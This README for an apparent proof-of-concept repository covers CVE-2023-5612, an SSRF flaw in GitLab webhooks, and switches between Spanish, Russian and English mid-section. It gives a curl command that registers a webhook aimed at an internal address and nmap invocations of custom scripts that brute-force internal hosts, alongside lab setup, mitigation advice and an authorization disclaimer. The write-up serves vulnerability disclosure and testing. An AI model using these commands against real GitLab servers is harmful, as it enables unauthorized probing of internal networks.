CVE-2023-5612 – SSRF en GitLab a través de URL de Webhook (PoC y Análisis)

📌 Resumen del CVE

• CVE-ID: CVE-2023-5612
• Severidad: Alta (CVSS: 8.1 Puntuación Base)
• Tipo: Server-Side Request Forgery (SSRF)
• Componente: Webhooks de GitLab CE/EE
• Versiones Afectadas: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 Descripción

Una vulnerabilidad SSRF en GitLab CE/EE permite a atacantes con acceso válido de Mantenedor de Proyecto enviar solicitudes manipuladas a servicios internos arbitrarios a través de URLs de webhook maliciosas. La explotación conduce a escaneo de red interna, filtración de metadatos o pivoting adicional.

---

✅ Condiciones de Explotación

• У злоумышленника есть maintainer-доступ к проекту
• GitLab не имеет жесткой фильтрации или валидации URL-хуков

---

⚙️ Pasos de PoC (Manual)

curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 Entorno y Configuración

- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888

🧠 Metodología

- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.

---

🛠 Script NSE (Disparo Manual)

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 Script NSE (Fuerza Bruta de URLs Internas)

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

---

📈 Conclusión

В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.

🎯 Цель выполнена:

• SSRF подтверждён
• NSE-инструментарий реализован
• Проект задокументирован и открыт для сообщества

---

📂 Estructura del Repositorio

.
├── gitlab-ssrf.nse             # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse       # NSE brute script to scan internal hosts/ports
├── screenshots/                # Скрины выполнения PoC и подтверждения уязвимости
└── README.md                   # Этот файл

---

🖼 Capturas de Pantalla

• ✅ Успешный SSRF с возвратом 401 Unauthorized
• 📜 Логи nmap c отработкой скрипта
• 📦 Добавление вебхука через API

---

⚠️ Mitigación

• Upgrade GitLab to >= 16.2.7 / 16.3.4 / 16.4.1
• Ограничить outbound HTTP через egress firewall
• Использовать internal allow-lists для вебхуков

---

🧠 Autor y Contacto

Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst

---

📅 Cronología

• June 2025: Анализ PoC и уязвимости
• 5 июня 2025: Написание кастомного NSE-скрипта и тестов

---

🔐 Descargo de Responsabilidad

All testing was done in isolated lab environments on intentionally vulnerable versions. Do not use this against unauthorized systems. Respect ethical hacking principles.